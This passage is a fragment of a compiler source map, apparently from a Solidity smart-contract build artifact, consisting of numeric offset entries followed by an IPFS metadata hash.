;:::-;6577:3;6570:37;6495:118;;:::o;6619:222::-;6712:4;6750:2;6739:9;6735:18;6727:26;;6763:71;6831:1;6820:9;6816:17;6807:6;6763:71;:::i;:::-;6619:222;;;;:::o;6847:373::-;6990:4;7028:2;7017:9;7013:18;7005:26;;7077:9;7071:4;7067:20;7063:1;7052:9;7048:17;7041:47;7105:108;7208:4;7199:6;7105:108;:::i;:::-;7097:116;;6847:373;;;;:::o;7226:222::-;7319:4;7357:2;7346:9;7342:18;7334:26;;7370:71;7438:1;7427:9;7423:17;7414:6;7370:71;:::i;:::-;7226:222;;;;:::o;7454:442::-;7603:4;7641:2;7630:9;7626:18;7618:26;;7654:71;7722:1;7711:9;7707:17;7698:6;7654:71;:::i;:::-;7735:72;7803:2;7792:9;7788:18;7779:6;7735:72;:::i;:::-;7817;7885:2;7874:9;7870:18;7861:6;7817:72;:::i;:::-;7454:442;;;;;;:::o;7902:129::-;7936:6;7963:20;;:::i;:::-;7953:30;;7992:33;8020:4;8012:6;7992:33;:::i;:::-;7902:129;;;:::o;8037:75::-;8070:6;8103:2;8097:9;8087:19;;8037:75;:::o;8118:311::-;8195:4;8285:18;8277:6;8274:30;8271:56;;;8307:18;;:::i;:::-;8271:56;8357:4;8349:6;8345:17;8337:25;;8417:4;8411;8407:15;8399:23;;8118:311;;;:::o;8435:132::-;8502:4;8525:3;8517:11;;8555:4;8550:3;8546:14;8538:22;;8435:132;;;:::o;8573:114::-;8640:6;8674:5;8668:12;8658:22;;8573:114;;;:::o;8693:113::-;8763:4;8795;8790:3;8786:14;8778:22;;8693:113;;;:::o;8812:184::-;8911:11;8945:6;8940:3;8933:19;8985:4;8980:3;8976:14;8961:29;;8812:184;;;;:::o;9002:96::-;9039:7;9068:24;9086:5;9068:24;:::i;:::-;9057:35;;9002:96;;;:::o;9104:126::-;9141:7;9181:42;9174:5;9170:54;9159:65;;9104:126;;;:::o;9236:77::-;9273:7;9302:5;9291:16;;9236:77;;;:::o;9319:281::-;9402:27;9424:4;9402:27;:::i;:::-;9394:6;9390:40;9532:6;9520:10;9517:22;9496:18;9484:10;9481:34;9478:62;9475:88;;;9543:18;;:::i;:::-;9475:88;9583:10;9579:2;9572:22;9362:238;9319:281;;:::o;9606:233::-;9645:3;9668:24;9686:5;9668:24;:::i;:::-;9659:33;;9714:66;9707:5;9704:77;9701:103;;;9784:18;;:::i;:::-;9701:103;9831:1;9824:5;9820:13;9813:20;;9606:233;;;:::o;9845:180::-;9893:77;9890:1;9883:88;9990:4;9987:1;9980:15;10014:4;10011:1;10004:15;10031:180;10079:77;10076:1;10069:88;10176:4;10173:1;10166:15;10200:4;10197:1;10190:15;10217:180;10265:77;10262:1;10255:88;10362:4;10359:1;10352:15;10386:4;10383:1;10376:15;10403:117;10512:1;10509;10502:12;10526:117;10635:1;10632;10625:12;10649:117;10758:1;10755;10748:12;10772:117;10881:1;10878;10871:12;10895:117;11004:1;11001;10994:12;11018:102;11059:6;11110:2;11106:7;11101:2;11094:5;11090:14;11086:28;11076:38;;11018:102;;;:::o;11126:122::-;11199:24;11217:5;11199:24;:::i;:::-;11192:5;11189:35;11179:63;;11238:1;11235;11228:12;11179:63;11126:122;:::o;11254:::-;11327:24;11345:5;11327:24;:::i;:::-;11320:5;11317:35;11307:63;;11366:1;11363;11356:12;11307:63;11254:122;:::o;11382:::-;11455:24;11473:5;11455:24;:::i;:::-;11448:5;11445:35;11435:63;;11494:1;11491;11484:12;11435:63;11382:122;:::o

ipfs://c983837413d8447404439e5e3da16a71bf4ccf0ce97bbbfd2e9af9ef11a5eedd